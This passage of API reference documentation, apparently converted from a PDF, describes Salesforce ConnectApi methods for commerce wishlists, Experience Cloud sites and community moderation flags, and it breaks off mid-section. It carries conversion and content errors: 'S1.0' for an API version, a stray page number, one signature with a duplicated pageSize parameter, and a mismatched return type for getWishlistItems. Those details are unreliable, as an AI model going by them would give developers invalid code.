These methods are for `CommerceWishlist`. All methods are static.

IN THIS SECTION:

- `addItemToWishlist(webstoreId, wishlistId, wishlistItemInput)`
  - Add an item to a wishlist for the context user.
addItemToWishlist(webstoreId, effectiveAccountId, wishlistId, wishlistItemInput)
Add an item to a wishlist.

addWishlistToCart(webstoreId, wishlistId)
Add a wishlist to the active cart for the context user.

addWishlistToCart(webstoreId, wishlistId, effectiveAccountId)
Add a wishlist to the active cart.

addWishlistToCartWithCartId(webstoreId, wishlistId, cartId)
Add a wishlist to a cart.

addWishlistToCartWithCartId(webstoreId, wishlistId, cartId, effectiveAccountId)
Add a wishlist to a cart.

createWishlist(webstoreId, wishlistInput)
Create a wishlist for the context user.

createWishlist(webstoreId, effectiveAccountId, wishlistInput)
Create a wishlist.

deleteWishlist(webstoreId, wishlistId)
Delete a wishlist for the context user.

deleteWishlist(webstoreId, effectiveAccountId, wishlistId)
Delete a wishlist.

getWishlist(webstoreId, effectiveAccountId, wishlistId, productFields, sortItemsBy)
Get a wishlist with product fields sorted by items.

getWishlist(webstoreId, effectiveAccountId, wishlistId, productFields, pageSize, sortItemsBy)
Get a wishlist with product fields sorted by items with a specified number of items per page.

getWishlistItems(webstoreId, effectiveAccountId, wishlistId, productFields, pageParam, sortItemsBy)
Get a page of sorted wishlist items with product fields.

getWishlistItems(webstoreId, effectiveAccountId, wishlistId, productFields, pageParam, pageSize, sortItemsBy)
Get a page of specified size of sorted wishlist items with product fields.

getWishlistSummaries(webstoreId, effectiveAccountId, includeDisplayedList)
Get wishlist summaries.

getWishlistSummaries(webstoreId, effectiveAccountId, includeDisplayedList, productFields, sortItemsBy)
Get wishlist summaries with product fields sorted by items.

getWishlistSummaries(webstoreId, effectiveAccountId, includeDisplayedList, productFields, pageSize, sortItemsBy)
Get wishlist summaries with product fields sorted by items with a specified number of items per page.

removeWishlistItem(webstoreId, effectiveAccountId, wishlistId, wishlistItemId)
Remove an item from a wishlist.

updateWishlist(webstoreId, wishlistId, wishlistUpdateInput)
Update the name of a wishlist for the context user.

updateWishlist(webstoreId, effectiveAccountId, wishlistId, wishlistUpdateInput)
Update the name of a wishlist.
addItemToWishlist(webstoreId, wishlistId, wishlistItemInput)

Add an item to a wishlist for the context user.

API Version
49.0

Requires Chatter
No

Signature
public static ConnectApi.WishlistItem addItemToWishlist(String webstoreId, String wishlistId, ConnectApi.WishlistItemInput wishlistItemInput)

Parameters
webstoreId
  Type: String
  ID of the webstore.

wishlistId
  Type: String
  ID of the wishlist.

wishlistItemInput
  Type: ConnectApi.WishlistItemInput
  A ConnectApi.WishlistItemInput body with the item to add to the wishlist.

Return Value
Type: ConnectApi.WishlistItem

Usage
This method respects buyer View Product entitlements and only users entitled to view product data can access it.

addItemToWishlist(webstoreId, effectiveAccountId, wishlistId, wishlistItemInput)

Add an item to a wishlist.

API Version
49.0

Requires Chatter
No
public static ConnectApi.WishlistItem addItemToWishlist(String webstoreId, String effectiveAccountId, String wishlistId, ConnectApi.WishlistItemInput wishlistItemInput)

Parameters

webstoreId
Type: String
ID of the webstore.

effectiveAccountId
Type: String
ID of the account for which the request is made. If null, defaults to the account ID for the context user.

wishlistId
Type: String
ID of the wishlist.

wishlistItemInput
Type: ConnectApi.WishlistItemInput
A ConnectApi.WishlistItemInput body with the item to add to the wishlist.

Return Value
Type: ConnectApi.WishlistItem

Usage
This method respects buyer View Product entitlements and only users entitled to view product data can access it.

addWishlistToCart(webstoreId, wishlistId)
Add a wishlist to the active cart for the context user.

API Version
49.0

Requires Chatter
No

Signature
public static ConnectApi.WishlistToCartResult addWishlistToCart(String webstoreId, String wishlistId)

Parameters

webstoreId
Type: String
ID of the webstore.

wishlistId
Type: String
ID of the wishlist.

Return Value
Type: ConnectApi.WishlistToCartResult

Usage
This method respects buyer View Product entitlements and only users entitled to view product data can access it.

addWishlistToCart(webstoreId, wishlistId, effectiveAccountId)
Add a wishlist to the active cart.

API Version
49.0

Requires Chatter
No

Signature
public static ConnectApi.WishlistToCartResult addWishlistToCart(String webstoreId, String wishlistId, String effectiveAccountId)

Parameters
webstoreId
Type: String
ID of the webstore.

wishlistId
Type: String
ID of the wishlist.

effectiveAccountId
Type: String
ID of the account for which the request is made. If null, defaults to the account ID for the context user.

Return Value
Type: ConnectApi.WishlistToCartResult
Usage
This method respects buyer View Product entitlements and only users entitled to view product data can access it.

addWishlistToCartWithCartId(webstoreId, wishlistId, cartId)
Add a wishlist to a cart.

API Version
49.0

Requires Chatter
No

Signature
public static ConnectApi.WishlistToCartResult addWishlistToCartWithCartId(String webstoreId, String wishlistId, String cartId)

Parameters
webstoreId
Type: String
ID of the webstore.

wishlistId
Type: String
ID of the wishlist.

cartId
Type: String
ID of the cart. If null, wishlist items are added to the active cart.

Return Value
Type: ConnectApi.WishlistToCartResult

Usage
This method respects buyer View Product entitlements and only users entitled to view product data can access it.

addWishlistToCartWithCartId(webstoreId, wishlistId, cartId, effectiveAccountId)
Add a wishlist to a cart.

API Version
49.0
Requires Chatter
No

Signature

```java
public static ConnectApi.WishlistToCartResult addWishlistToCartWithCartId(String webstoreId, String wishlistId, String cartId, String effectiveAccountId)
```

Parameters

- **webstoreId**
  - Type: `String`
  - ID of the webstore.

- **wishlistId**
  - Type: `String`
  - ID of the wishlist.

- **cartId**
  - Type: `String`
  - ID of the cart. If `null`, wishlist items are added to the active cart.

- **effectiveAccountId**
  - Type: `String`
  - ID of the account for which the request is made. If `null`, defaults to the account ID for the context user.

Return Value

Type: `ConnectApi.WishlistToCartResult`

Usage

This method respects buyer View Product entitlements and only users entitled to view product data can access it.

```java
createWishlist(webstoreId, wishlistInput)
```

Create a wishlist for the context user.

API Version

49.0

Requires Chatter
No

Signature

```java
public static ConnectApi.Wishlist createWishlist(String webstoreId, ConnectApi.WishlistInput wishlistInput)
```
Parameters

webstoreId
    Type: String
    ID of the webstore.

wishlistInput
    Type: ConnectApi.WishlistInput
    A ConnectApi.WishlistInput body that includes the wishlist name and items.

Return Value

Type: ConnectApi.Wishlist

createWishlist(webstoreId, effectiveAccountId, wishlistInput)
Create a wishlist.

API Version

49.0

Requires Chatter

No

Signature

public static ConnectApi.Wishlist createWishlist(String webstoreId, String effectiveAccountId, ConnectApi.WishlistInput wishlistInput)

Parameters

webstoreId
    Type: String
    ID of the webstore.

effectiveAccountId
    Type: String
    ID of the account for which the request is made. If null, defaults to the account ID for the context user.

wishlistInput
    Type: ConnectApi.WishlistInput
    A ConnectApi.WishlistInput body that includes the wishlist name and items.

Return Value

Type: ConnectApi.Wishlist
deleteWishlist(webstoreId, wishlistId)
Delete a wishlist for the context user.

API Version
49.0

Requires Chatter
No

Signature
public static Void deleteWishlist(String webstoreId, String wishlistId)

Parameters
webstoreId
  Type: String
  ID of the webstore.

wishlistId
  Type: String
  ID of the wishlist.

Return Value
Type: Void

deleteWishlist(webstoreId, effectiveAccountId, wishlistId)
Delete a wishlist.

API Version
51.0

Requires Chatter
No

Signature
public static Void deleteWishlist(String webstoreId, String effectiveAccountId, String wishlistId)

Parameters
webstoreId
  Type: String
ID of the webstore.

**effectiveAccountId**
Type: String
ID of the account for which the request is made. If **null**, defaults to the account ID for the context user.

**wishlistId**
Type: String
ID of the wishlist.

Return Value
Type: Void

getWishlist(webstoreId, effectiveAccountId, wishlistId, productFields, sortItemsBy)
Get a wishlist with product fields sorted by items.

API Version
S1.0

Requires Chatter
No

Signature
```
public static ConnectApi.Wishlist getWishlist(String webstoreId, String effectiveAccountId, String wishlistId, String productFields,
ConnectApi.WishlistItemSortOrder sortItemsBy)
```

Parameters

**webstoreId**
Type: String
ID of the webstore.

**effectiveAccountId**
Type: String
ID of the account for which the request is made. If **null**, defaults to the account ID for the context user.

**wishlistId**
Type: String
ID of the wishlist.

**productFields**
Type: String
Comma-separated list of custom product fields. Fields aren’t case-sensitive. For example, ProductCode and productcode return the same results.
sortItemsBy
   Type: ConnectApi.WishlistItemSortOrder
   Sort order for wishlist items. Values are:
   • CreatedDateAsc—Sorts by oldest creation date.
   • CreatedDateDesc—Sorts by most recent creation date.
   The default sort order is CreatedDateDesc.

Return Value
   Type: ConnectApi.Wishlist

getWishlist(webstoreId, effectiveAccountId, wishlistId, productFields, pageSize, sortItemsBy)
   Get a wishlist with product fields sorted by items with a specified number of items per page.

API Version
   51.0

Requires Chatter
   No

Signature
   public static ConnectApi.Wishlist getWishlist(String webstoreId, String effectiveAccountId, String wishlistId, String productFields, Integer pageSize, ConnectApi.WishlistItemSortOrder sortItemsBy)

Parameters
   webstoreId
      Type: String
      ID of the webstore.

effectiveAccountId
      Type: String
      ID of the account for which the request is made. If null, defaults to the account ID for the context user.

wishlistId
      Type: String
      ID of the wishlist.

productFields
      Type: String
      Comma-separated list of custom product fields. Fields aren’t case-sensitive. For example, ProductCode and productcode return the same results.
pageSize
Type: Integer

Specifies the number of items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.

sortItemsBy
Type: ConnectApi.WishlistItemSortOrder

Sort order for wishlist items. Values are:
- CreatedDateAsc—Sorts by oldest creation date.
- CreatedDateDesc—Sorts by most recent creation date.

The default sort order is CreatedDateDesc.

Return Value
Type: ConnectApi.Wishlist

getWishlistItems(webstoreId, effectiveAccountId, wishlistId, productFields, pageParam, sortItemsBy)

Get a page of sorted wishlist items with product fields.

API Version
S1.0

Requires Chatter
No

Signature
public static ConnectApi.WishlistItemCollection getWishlistItems(String webstoreId, String effectiveAccountId, String wishlistId, String productFields, String pageParam, ConnectApi.WishlistItemSortOrder sortItemsBy)

Parameters
webstoreId
Type: String
ID of the webstore.
effectiveAccountId
Type: String
ID of the account for which the request is made. If null, defaults to the account ID for the context user.
wishlistId
Type: String
ID of the wishlist.
productFields
Type: String
Comma-separated list of custom product fields. Fields aren’t case-sensitive. For example, ProductCode and productcode return the same results.

`pageParam`
Type: String
Specifies the page token to be used to view a page of information. Page tokens are returned as part of the response class, such as currentPageToken or nextPageToken. If you pass in null, the first page is returned.

`sortItemsBy`
Type: `ConnectApi.WishlistItemSortOrder`
Sort order for wishlist items. Values are:
- CreatedDateAsc—Sorts by oldest creation date.
- CreatedDateDesc—Sorts by most recent creation date.
The default sort order is CreatedDateDesc.

Return Value
Type: `ConnectApi.WishlistItemCollection`

`getWishlistItems(webstoreId, effectiveAccountId, wishlistId, productFields, pageParam, pageSize, sortItemsBy)`
Get a page of specified size of sorted wishlist items with product fields.

API Version
51.0

Requires Chatter
No

Signature

```
public static ConnectApi.WishlistItemCollection getWishlistItems(String webstoreId, String effectiveAccountId, String wishlistId, String productFields, String pageParam, Integer pageSize, ConnectApi.WishlistItemSortOrder sortItemsBy)
```

Parameters

`webstoreId`
Type: String
ID of the webstore.

`effectiveAccountId`
Type: String
ID of the account for which the request is made. If null, defaults to the account ID for the context user.

`wishlistId`
Type: String
ID of the wishlist.

productFields
Type: String
Comma-separated list of custom product fields. Fields aren't case-sensitive. For example, ProductCode and productcode return the same results.

pageParam
Type: String
Specifies the page token to be used to view a page of information. Page tokens are returned as part of the response class, such as currentPageToken or nextPageToken. If you pass in null, the first page is returned.

pageSize
Type: Integer
Specifies the number of items per page. Valid values are from 1 through 200. If you pass in null, the default size is 25.

sortItemsBy
Type: ConnectApi.WishlistItemSortOrder
Sort order for wishlist items. Values are:
• CreatedDateAsc—Sorts by oldest creation date.
• CreatedDateDesc—Sorts by most recent creation date.
The default sort order is CreatedDateDesc.

Return Value
Type: ConnectApi.WishlistsSummary

getWishlistSummaries(webstoreId, effectiveAccountId, includeDisplayedList)
Get wishlist summaries.

API Version
49.0

Requires Chatter
No

Signature
public static ConnectApi.WishlistsSummary getWishlistSummaries(String webstoreId, String effectiveAccountId, Boolean includeDisplayedList)

Parameters
webstoreId
Type: String
ID of the webstore.
effectiveAccountId
Type: String
ID of the account for which the request is made. If null, defaults to the account ID for the context user.

includeDisplayedList
Type: Boolean
Specifies whether to include the displayed list (true) or not (false). If null, defaults to false.

Return Value
Type: ConnectApi.WishlistsSummary

getWishlistSummaries(webstoreId, effectiveAccountId, includeDisplayedList, productFields, sortItemsBy)
Get wishlist summaries with product fields sorted by items.

API Version
51.0

Requires Chatter
No

Signature
public static ConnectApi.WishlistsSummary getWishlistSummaries(String webstoreId, String effectiveAccountId, Boolean includeDisplayedList, String productFields, ConnectApi.WishlistItemSortOrder sortItemsBy)

Parameters
webstoreId
Type: String
ID of the webstore.

effectiveAccountId
Type: String
ID of the account for which the request is made. If null, defaults to the account ID for the context user.

includeDisplayedList
Type: Boolean
Specifies whether to include the displayed list (true) or not (false).

productFields
Type: String
Comma-separated list of custom product fields. Fields aren’t case-sensitive. For example, ProductCode and productcode return the same results.

If includeDisplayedList is false, productFields is ignored.
**sortItemsBy**
Type: `ConnectApi.WishlistItemSortOrder`  
Sort order for wishlist items. Values are:
- `CreatedDateAsc`—Sorts by oldest creation date.
- `CreatedDateDesc`—Sorts by most recent creation date.
  The default sort order is `CreatedDateDesc`.
If `includeDisplayedList` is `false`, `sortItemsBy` is ignored.

**Return Value**
Type: `ConnectApi.WishlistsSummary`

**getWishlistSummaries**(*webstoreId*, *effectiveAccountId*, *includeDisplayedList*, *productFields*, *pageSize*, *sortItemsBy*)
Get wishlist summaries with product fields sorted by items with a specified number of items per page.

**API Version**
51.0

**Requires Chatter**
No

**Signature**
```java
public static ConnectApi.WishlistsSummary getWishlistSummaries(String webstoreId, String effectiveAccountId, Boolean includeDisplayedList, Integer pageSize, String productFields, Integer pageSize, ConnectApi.WishlistItemSortOrder sortItemsBy)
```

**Parameters**
- **webstoreId**
  Type: `String`  
  ID of the webstore.
- **effectiveAccountId**
  Type: `String`  
  ID of the account for which the request is made. If `null`, defaults to the account ID for the context user.
- **includeDisplayedList**
  Type: `Boolean`
  Specifies whether to include the displayed list (`true`) or not (`false`).
- **productFields**
  Type: `String`  
  Comma-separated list of custom product fields. Fields aren’t case-sensitive. For example, `ProductCode` and `productcode` return the same results.
If `includeDisplayedList` is `false`, `productFields` is ignored.

**pageSize**
Type: `Integer`
Specifies the number of items per page. Valid values are from 1 through 100. If you pass in `null`, the default size is 25.

**sortItemsBy**
Type: `ConnectApi.WishlistItemSortOrder`
Sort order for wishlist items. Values are:

- `CreatedDateAsc`—Sorts by oldest creation date.
- `CreatedDateDesc`—Sorts by most recent creation date.

The default sort order is `CreatedDateDesc`. If `includeDisplayedList` is `false`, `sortItemsBy` is ignored.

**Return Value**
Type: `ConnectApi.WishlistsSummary`

```java
public static Void removeWishlistItem(String webstoreId, String effectiveAccountId, String wishlistId, String wishlistItemId)
```
Remove an item from a wishlist.

**API Version**
49.0

**Requires Chatter**
No

**Signature**
```java
public static Void removeWishlistItem(String webstoreId, String effectiveAccountId, String wishlistId, String wishlistItemId)
```

**Parameters**

- `webstoreId`
  Type: `String`
  ID of the webstore.

- `effectiveAccountId`
  Type: `String`
  ID of the account for which the request is made. If `null`, defaults to the account ID for the context user.

- `wishlistId`
  Type: `String`
  ID of the wishlist.
wishlistItemId
   Type: String
   ID of the wishlist item to remove.

Return Value
Type: Void

updateWishlist(webstoreId, wishlistId, wishlistUpdateInput)
Update the name of a wishlist for the context user.

API Version
50.0

Requires Chatter
No

Signature
public static ConnectApi.WishlistSummary updateWishlist(String webstoreId, String wishlistId, ConnectApi.WishlistUpdateInput wishlistUpdateInput)

Parameters
webstoreId
   Type: String
   ID of the webstore.

wishlistId
   Type: String
   ID of the wishlist.

wishlistUpdateInput
   Type: ConnectApi.WishlistUpdateInput
   A ConnectApi.WishlistUpdateInput body with the wishlist name to update.

Return Value
Type: ConnectApi.WishlistSummary

updateWishlist(webstoreId, effectiveAccountId, wishlistId, wishlistUpdateInput)
Update the name of a wishlist.

API Version
50.0
Requires Chatter
No

Signature

```java
public static ConnectApi.WishlistSummary updateWishlist(String webstoreId, String effectiveAccountId, String wishlistId, ConnectApi.WishlistUpdateInput wishlistUpdateInput)
```

Parameters

- **webstoreId**
  - Type: *String*
  - ID of the webstore.
- **effectiveAccountId**
  - Type: *String*
  - ID of the account for which the request is made. If null, defaults to the account ID for the context user.
- **wishlistId**
  - Type: *String*
  - ID of the wishlist.
- **wishlistUpdateInput**
  - Type: `ConnectApi.WishlistUpdateInput`
  - A `ConnectApi.WishlistUpdateInput` body with the wishlist name to update.

Return Value

Type: `ConnectApi.WishlistSummary`

**Communities Class**

Access general information about Experience Cloud sites in your org.

**Namespace**

`ConnectApi`

**Communities Methods**

The following are methods for *Communities*. All methods are static.

**IN THIS SECTION:**

- `getCommunities()`
  - Get a list of Experience Cloud sites that the context user has access to.
- `getCommunities(communityStatus)`
  - Get a list of Experience Cloud sites with the specified status that the context user has access to.
**getCommunity(communityId)**
Get information about an Experience Cloud site.

**getCommunities()**
Get a list of Experience Cloud sites that the context user has access to.

API Version
28.0

Requires Chatter
No

Signature
`public static ConnectApi.CommunityPage getCommunities()`

Return Value
Type: `ConnectApi.CommunityPage`

**getCommunities(communityStatus)**
Get a list of Experience Cloud sites with the specified status that the context user has access to.

API Version
28.0

Requires Chatter
No

Signature
`public static ConnectApi.CommunityPage getCommunities(ConnectApi.CommunityStatus communityStatus)`

Parameters
`communityStatus`  
Type: `ConnectApi.CommunityStatus`  
`communityStatus`—Status of the Experience Cloud site. Values are:
- Live
- Inactive
- UnderConstruction
Return Value
Type: ConnectApi.CommunityPage

getCommunity(communityId)
Get information about an Experience Cloud site.

API Version
28.0

Available to Guest Users
35.0

Requires Chatter
No

Signature
public static ConnectApi.Community getCommunity(String communityId)

Parameters
communityId
Type: String
ID of an Experience Cloud site. You can’t specify null or internal.

Return Value
Type: ConnectApi.Community

CommunityModeration Class
Access information about flagged feed items and comments in an Experience Cloud site. Add and remove flags from comments and feed items.

Namespace
ConnectApi

CommunityModeration Methods
The following are methods for CommunityModeration. All methods are static.

IN THIS SECTION:
addFlagToComment(communityId, commentId)
Add a moderation flag to a comment.
addFlagToComment(communityId, commentId, visibility)
Add a moderation flag of the specified visibility to a comment.

addFlagToComment(communityId, commentId, type)
Add a moderation flag of the specified type to a comment.

addFlagToComment(communityId, commentId, note)
Add a moderation flag with a note to a comment.

addFlagToComment(communityId, commentId, type, note)
Add a moderation flag of the specified type with a note to a comment.

addFlagToComment(communityId, commentId, type, visibility)
Add a moderation flag of the specified type and visibility to a comment.

addFlagToComment(communityId, commentId, visibility, note)
Add a moderation flag of the specified visibility with a note to a comment.

addFlagToComment(communityId, commentId, type, visibility, note)
Add a moderation flag of the specified type and visibility with a note to a comment.

addFlagToFeedElement(communityId, feedElementId)
Add a moderation flag to a feed element.

addFlagToFeedElement(communityId, feedElementId, visibility)
Add a moderation flag of the specified visibility to a feed element.

addFlagToFeedElement(communityId, feedElementId, type)
Add a moderation flag of the specified type to a feed element.

addFlagToFeedElement(communityId, feedElementId, note)
Add a moderation flag with a note to a feed element.

addFlagToFeedElement(communityId, feedElementId, type, note)
Add a moderation flag of the specified type with a note to a feed element.

addFlagToFeedElement(communityId, feedElementId, type, visibility)
Add a moderation flag of the specified type and visibility to a feed element.

addFlagToFeedElement(communityId, feedElementId, visibility, note)
Add a moderation flag of the specified visibility with a note to a feed element.

addFlagToFeedElement(communityId, feedElementId, type, visibility, note)
Add a moderation flag of the specified type and visibility with a note to a feed element.

getFlagsOnComment(communityId, commentId)
Get the moderation flags on a comment.

getFlagsOnComment(communityId, commentId, visibility)
Get the moderation flags with specified visibility on a comment.

getFlagsOnComment(communityId, commentId, pageSize, pageParam)
Get a page of moderation flags on a comment.

getFlagsOnComment(communityId, commentId, visibility, pageSize, pageParam)
Get a page of moderation flags with specified visibility on a comment.

getFlagsOnFeedElement(communityId, feedElementId)
Get the moderation flags on a feed element.
getFlagsOnFeedElement(communityId, feedElementId, visibility)
Get the moderation flags with specified visibility on a feed element.

getFlagsOnFeedElement(communityId, feedElementId, pageParam, pageSize)
Get a page of moderation flags on a feed element.

getFlagsOnFeedElement(communityId, feedElementId, visibility, pageSize, pageParam)
Get a page of moderation flags with specified visibility on a feed element.

removeFlagFromComment(communityId, commentId, userId)
Remove a moderation flag from a comment.

removeFlagFromFeedElement(communityId, feedElementId, userId)
Remove a moderation flag from a feed element.

addFlagToComment(communityId, commentId)
Add a moderation flag to a comment.

API Version
29.0

Requires Chatter
Yes

Signature
public static ConnectApi.ModerationFlags addFlagToComment(String communityId, String commentId)

Parameters

communityId
Type: String
Use the ID for an Experience Cloud site, internal, or null.

commentId
Type: String
The ID for a comment.

Return Value
Type: ConnectApi.ModerationFlags

Usage
To add a flag to a comment, Allow members to flag content must be selected for an Experience Cloud site.

addFlagToComment(communityId, commentId, visibility)
Add a moderation flag of the specified visibility to a comment.
API Version
30.0

Requires Chatter
Yes

Signature
`public static ConnectApi.ModerationFlags addFlagToComment(String communityId, String commentId, ConnectApi.CommunityFlagVisibility visibility)`

Parameters
- `communityId`
  - Type: `String`
  - Use the ID for an Experience Cloud site, internal, or `null`.
- `commentId`
  - Type: `String`
  - The ID for a comment.
- `visibility`
  - Type: `ConnectApi.CommunityFlagVisibility`
  - Visibility behavior of a flag for various user types.
    - `ModeratorsOnly`—The flag is visible only to users with moderation permissions on the flagged element or item.
    - `SelfAndModerators`—The flag is visible to the creator of the flag and to users with moderation permissions on the flagged element or item.

Return Value
Type: `ConnectApi.ModerationFlags`

Usage
To add a flag to a comment, Allow members to flag content must be selected for an Experience Cloud site.

`addFlagToComment(communityId, commentId, type)`
Add a moderation flag of the specified type to a comment.

API Version
38.0

Requires Chatter
Yes
Signature

```java
public static ConnectApi.ModerationFlags addFlagToComment(String communityId, String commentId, ConnectApi.CommunityFlagType type)
```

Parameters

- **communityId**
  - Type: `String`
  - Use the ID for an Experience Cloud site, internal, or `null`.

- **commentId**
  - Type: `String`
  - The ID for a comment.

- **type**
  - Type: `ConnectApi.CommunityFlagType`
  - Type of moderation flag.
    - `FlagAsInappropriate`—Flag for inappropriate content.
    - `FlagAsSpam`—Flag for spam.
  - If a type isn’t specified, it defaults to `FlagAsInappropriate`.

Return Value

Type: `ConnectApi.ModerationFlags`

Usage

To add a flag to a comment, Allow members to flag content must be selected for an Experience Cloud site.

```java
addFlagToComment(communityId, commentId, note)
```

Add a moderation flag with a note to a comment.

API Version

38.0

Requires Chatter

Yes

Signature

```java
public static ConnectApi.ModerationFlags addFlagToComment(String communityId, String commentId, String note)
```
Parameters

communityId
Type: String
Use the ID for an Experience Cloud site, internal, or null.

commentId
Type: String
The ID for a comment.

note
Type: String
A note of up to 4,000 characters about the flag.

Return Value
Type: ConnectApi.ModerationFlags

Usage
To add a flag to a comment, Allow members to flag content must be selected for an Experience Cloud site.

addFlagToComment(communityId, commentId, type, note)
Add a moderation flag of the specified type with a note to a comment.

API Version
38.0

Requires Chatter
Yes

Signature
public static ConnectApi.ModerationFlags addFlagToComment(String communityId, String commentId, ConnectApi.CommunityFlagType type, String note)

Parameters

communityId
Type: String
Use the ID for an Experience Cloud site, internal, or null.

commentId
Type: String
The ID for a comment.

type
Type: ConnectApi.CommunityFlagType
Type of moderation flag.

- **FlagAsInappropriate**—Flag for inappropriate content.
- **FlagAsSpam**—Flag for spam.

If a type isn’t specified, it defaults to **FlagAsInappropriate**.

**note**

Type: String

A note of up to 4,000 characters about the flag.

Return Value

Type: ConnectApi.ModerationFlags

Usage

To add a flag to a comment, Allow members to flag content must be selected for an Experience Cloud site.

**addFlagToComment(communityId, commentId, type, visibility)**

Add a moderation flag of the specified type and visibility to a comment.

API Version

38.0

Requires Chatter

Yes

Signature

```java
public static ConnectApi.ModerationFlags addFlagToComment(String communityId, String commentId, ConnectApi.CommunityFlagType type, ConnectApi.CommunityFlagVisibility visibility)
```

Parameters

**communityId**

Type: String

Use the ID for an Experience Cloud site, internal, or null.

**commentId**

Type: String

The ID for a comment.

**type**

Type: ConnectApi.CommunityFlagType

Type of moderation flag.

- **FlagAsInappropriate**—Flag for inappropriate content.
• FlagAsSpam—Flag for spam.
  If a type isn't specified, it defaults to FlagAsInappropriate.

visibility
  Type: ConnectApi.CommunityFlagVisibility
  Visibility behavior of a flag for various user types.
  • ModeratorsOnly—The flag is visible only to users with moderation permissions on the flagged element or item.
  • SelfAndModerators—The flag is visible to the creator of the flag and to users with moderation permissions on the flagged element or item.

Return Value
  Type: ConnectApi.ModerationFlags

Usage
  To add a flag to a comment, Allow members to flag content must be selected for an Experience Cloud site.

addFlagToComment(communityId, commentId, visibility, note)
  Add a moderation flag of the specified visibility with a note to a comment.

API Version
  38.0

Requires Chatter
  Yes

Signature
  public static ConnectApi.ModerationFlags addFlagToComment(String communityId, String commentId, ConnectApi.CommunityFlagVisibility visibility, String note)

Parameters
  communityId
    Type: String
    Use the ID for an Experience Cloud site, internal, or null.
  commentId
    Type: String
    The ID for a comment.
  visibility
    Type: ConnectApi.CommunityFlagVisibility
    Visibility behavior of a flag for various user types.
    • ModeratorsOnly—The flag is visible only to users with moderation permissions on the flagged element or item.
SelfAndModerators—The flag is visible to the creator of the flag and to users with moderation permissions on the flagged element or item.

Type: *String*

A note of up to 4,000 characters about the flag.

Return Value
Type: `ConnectApi.ModerationFlags`

Usage
To add a flag to a comment, Allow members to flag content must be selected for an Experience Cloud site.

`addFlagToComment(communityId, commentId, type, visibility, note)`
Add a moderation flag of the specified type and visibility with a note to a comment.

API Version
38.0

Requires Chatter
Yes

Signature

```java
public static ConnectApi.ModerationFlags addFlagToComment(String communityId, String commentId, ConnectApi.CommunityFlagType type, ConnectApi.CommunityFlagVisibility visibility, String note)
```

Parameters

- `communityId`
  Type: *String*
  Use the ID for an Experience Cloud site, internal, or *null*.

- `commentId`
  Type: *String*
  The ID for a comment.

- `type`
  Type: `ConnectApi.CommunityFlagType`
  Type of moderation flag.

  - *FlagAsInappropriate*—Flag for inappropriate content.
  - *FlagAsSpam*—Flag for spam.

  If a type isn’t specified, it defaults to *FlagAsInappropriate*. 
visibility
    Type: `ConnectApi.CommunityFlagVisibility`
    Visibility behavior of a flag for various user types.
    - ModeratorsOnly—The flag is visible only to users with moderation permissions on the flagged element or item.
    - SelfAndModerators—The flag is visible to the creator of the flag and to users with moderation permissions on the flagged element or item.

note
    Type: `String`
    A note of up to 4,000 characters about the flag.

Return Value
    Type: `ConnectApi.ModerationFlags`

Usage
    To add a flag to a comment, Allow members to flag content must be selected for an Experience Cloud site.

    `addFlagToFeedElement(communityId, feedElementId)`
    Add a moderation flag to a feed element.

API Version
    31.0

Requires Chatter
    Yes

Signature
    `public static ConnectApi.ModerationCapability addFlagToFeedElement(String communityId, String feedElementId)`

Parameters
    `communityId`
    Type: `String`
    Use the ID for an Experience Cloud site, internal, or `null`.

    `feedElementId`
    Type: `String`
    ID of the feed element.

Return Value
    Type: `ConnectApi.ModerationCapability`
If the feed element doesn’t support this capability, the return value is `ConnectApi.NotFoundException`.

Usage
To add a flag to a feed element, Allow members to flag content must be selected for an Experience Cloud site.

`addFlagToFeedElement(communityId, feedElementId, visibility)`
Add a moderation flag of the specified visibility to a feed element.

API Version
31.0

Requires Chatter
Yes

Signature
```
public static ConnectApi.ModerationCapability addFlagToFeedElement(String communityId,
String feedElementId, ConnectApi.CommunityFlagVisibility visibility)
```

Parameters
- `communityId`
  Type: `String`
  Use the ID for an Experience Cloud site, `internal`, or `null`.
- `feedElementId`
  Type: `String`
  ID of the feed element.
- `visibility`
  Type: `ConnectApi.CommunityFlagVisibility`
  Visibility behavior of a flag for various user types. One of these values:
  - `ModeratorsOnly`—The flag is visible only to users with moderation permissions on the flagged element or item.
  - `SelfAndModerators`—The flag is visible to the creator of the flag and to users with moderation permissions on the flagged element or item.

Return Value
Type: `ConnectApi.ModerationCapability`
If the feed element doesn’t support this capability, the return value is `ConnectApi.NotFoundException`.

Usage
To add a flag to a feed element, Allow members to flag content must be selected for an Experience Cloud site.
addFlagToFeedElement(communityId, feedElementId, type)
Add a moderation flag of the specified type to a feed element.

API Version
38.0

Requires Chatter
Yes

Signature
public static ConnectApi.ModerationCapability addFlagToFeedElement(String communityId, String feedElementId, ConnectApi.CommunityFlagType type)

Parameters
communityId
Type: String
Use the ID for an Experience Cloud site, internal, or null.

feedElementId
Type: String
ID of the feed element.

type
Type: ConnectApi.CommunityFlagType
Type of moderation flag.
- FlagAsInappropriate—Flag for inappropriate content.
- FlagAsSpam—Flag for spam.
If a type isn’t specified, it defaults to FlagAsInappropriate.

Return Value
Type: ConnectApi.ModerationCapability

Usage
To add a flag to a feed element, Allow members to flag content must be selected for an Experience Cloud site.

addFlagToFeedElement(communityId, feedElementId, note)
Add a moderation flag with a note to a feed element.

API Version
38.0
Requires Chatter
Yes

Signature
public static ConnectApi.ModerationCapability addFlagToFeedElement(String communityId, String feedElementId, String note)

Parameters

communityId
Type: String
Use the ID for an Experience Cloud site, internal, or null.

feedElementId
Type: String
ID of the feed element.

note
Type: String
A note of up to 4,000 characters about the flag.

Return Value
Type: ConnectApi.ModerationCapability

Usage
To add a flag to a feed element, Allow members to flag content must be selected for an Experience Cloud site.

addFlagToFeedElement(communityId, feedElementId, type, note)
Add a moderation flag of the specified type with a note to a feed element.

API Version
38.0

Requires Chatter
Yes

Signature
public static ConnectApi.ModerationCapability addFlagToFeedElement(String communityId, String feedElementId, ConnectApi.CommunityFlagType type, String note)

Parameters

communityId
Type: String

1668
Use the ID for an Experience Cloud site, internal, or null.

**feedElementId**
Type: `String`
ID of the feed element.

**type**
Type: `ConnectApi.CommunityFlagType`
Type of moderation flag.
- `FlagAsInappropriate`—Flag for inappropriate content.
- `FlagAsSpam`—Flag for spam.
If a type isn't specified, it defaults to `FlagAsInappropriate`.

**note**
Type: `String`
A note of up to 4,000 characters about the flag.

Return Value
Type: `ConnectApi.ModerationCapability`

Usage
To add a flag to a feed element, Allow members to flag content must be selected for an Experience Cloud site.

**addFlagToFeedElement(communityId, feedElementId, type, visibility)**
